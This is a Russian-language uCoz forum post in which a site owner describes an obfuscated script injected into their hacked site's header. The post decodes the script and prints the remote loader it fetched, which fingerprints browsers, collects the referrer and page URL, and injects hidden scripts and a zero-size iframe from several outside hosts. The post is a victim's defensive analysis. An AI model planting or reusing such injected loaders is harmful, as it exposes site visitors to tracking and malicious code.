|
|
Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Ротатор баннеров. Вредоносная трансляция (Вредоносный скрипт от системы ucoz) |
Ротатор баннеров. Вредоносная трансляция |
Привет анон!
Я привлёк твоё внимание? Ну тема такая - меня взломали, и поставили прямо в шапку сайта вот такой вот скрипт: Код <script type="text/javascript"> <!-- document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74% 74%70%3A%2F%2F%62%6C%6F%67%6F%76%6B%2E%63%6F%6D%2F%72%74%72%2F%31%33%22%3E%3C%2F%73%63%72%69%70%74%3E')); //--> </script> Я его расшифровал и получил вот, что: Код document.write(unescape('<script type="text/javascript" src="http://blogovk.com/rtr/13"></script>')); (ну сначала я его удалил и что было в буфере расшифровал) При этом сайт который ретранслирует(ротатором баннеров) на хостинге uCoz, это сразу понятно по "rtr" после адреса сайта. Стандартный адрес сайта(данный при регистрации сайта в сааске юкоза) "lineage-gso. ucoz.ru" А ретранслирует он вот, что за ссылочку: Код http://moonhappy.ru/537orcfiknq78u7lzltz4kzw9fgidzp Ну и то содержимое по ссылке я разобрал: Код if (typeof ar_exposure_price === 'undefined') { var ar_exposure_price = -2; } var test, ppdr_url; if (!window.p8856c068c8fa54cecd7fcfb11d22b14a) { window.p8856c068c8fa54cecd7fcfb11d22b14a = 0; }(function () { if (typeof window['ppndr_code_loaded'] != 'undefined' && window['ppndr_code_loaded'] == true) { return; } var b = (function () { var s; var d = document.createElement('div'); if (window.getComputedStyle) { s = window.getComputedStyle(d, null); } else if (d.currentStyle) { s = d.currentStyle; } else { return {}; } var b = {}; var r = { o: /^O[A-Z]/, w: /^webkit[A-Z]/, m: /^ms[A-Z]/, f: /^Moz[A-Z]/ }; for (var k1 in s) { for (var k2 in r) { if (r[k2].test(k1)) { b[k2] = true; } } } return b; };)); var ref = (document.referrer && document.referrer != "") ? '&i2a80i=' + escape(document.referrer.replace(/^https?:\/\/(www\.)?/, '')) : ''; var seed = '&5peq2psk=t' + Math.round(Math.random() * 100000000); var referer = escape(window.location.href.replace(/^https?:\/\/(www\.)?/, '')); var ft = 0, fk = 0, fd = 0, fu = 0, match; test = fu; document.write('<div class="ccs"><sc' + 'ript charset="utf-8" type="text/javascript" language="javascript" src="http://ergodob.ru/560mqf3rneo6lhimukm"></scr' + 'ipt>' + '<iframe width="1" height="1" style="display: none !important; width: 0px !important; height: 0px !important;" src="http://ergodob.ru/5jubemwaiiz746xv6le4i5k7y?vzakwrtcv=1"></iframe>' + '<sc' + 'ript charset="utf-8" type="text/javascript" language="javascript" src="http://oskale.ru/8jxj3cght1mtscsau"></sc' + 'ript>' + '<sc' + 'ript charset="utf-8" type="text/javascript" language="javascript" src="http://bormoni.ru/660ih6tm1575f7wf5srgb1hni?' + ref + '"></scr' + 'ipt>' + '<sc' + 'ript charset="utf-8" type="text/javascript" language="javascript" src="http://moonhappy.ru/5eas8qc7zvg79cfpcxgaj1nku"></scr' + 'ipt> </div>'); window.p8856c068c8fa54cecd7fcfb11d22b14a++; ppdr_url = 'http://moonhappy.ru/5s5nppui13q7mp31325o9g6bjo7qi43lv694a7kuc?lrs=3eh4l' + ref + seed + (top == window ? '' : '&1asgpkhl5r=1') + '&5xossl1g30qggt=' + referer + '&2w0sg=' + ft + '&3piqn=' + fk + '&3tqfk=' + fd + '&425tt=' + fu + '&16vzv5scb2=' + window.p8856c068c8fa54cecd7fcfb11d22b14a + '' + '&13rixdjeqj=' + (b.o ? 1 : 0) + '&8v26jad2vyz=' + (b.w ? 1 : 0) + '&7s2qaiwvps0lzr=' + (b.f ? 1 : 0) + '&4zl7gydx=' + (b.m ? 1 : 0) + ''; };)); window['ppndr_code_loaded'] = true; var pop_check_go = '', pop_check_cid = '', ppdr_s_e = false; его IP: "31.202.241.147" (он оказывается из Мариуполя Украина вродик) Хост: 31.202.241.147.format-tv.net Было это 29 Июня 2013, 10:45 Сам дальше разбиратся не буду, пойду лучше поменяю пароли и пожалуюсь на сайт (может чаво и прокатит), а тебе анон скажу вот что: Не будь беспечным анон, читай данный мануал (тут мануал)меняй пароли каждый месяц и будет тебе счастье))) Помог? - Ставь "+" в репу ^____^
Сообщение отредактировал webanet - Пятница, 11 Апр 2014, 17:00:01
|
| |||
| |||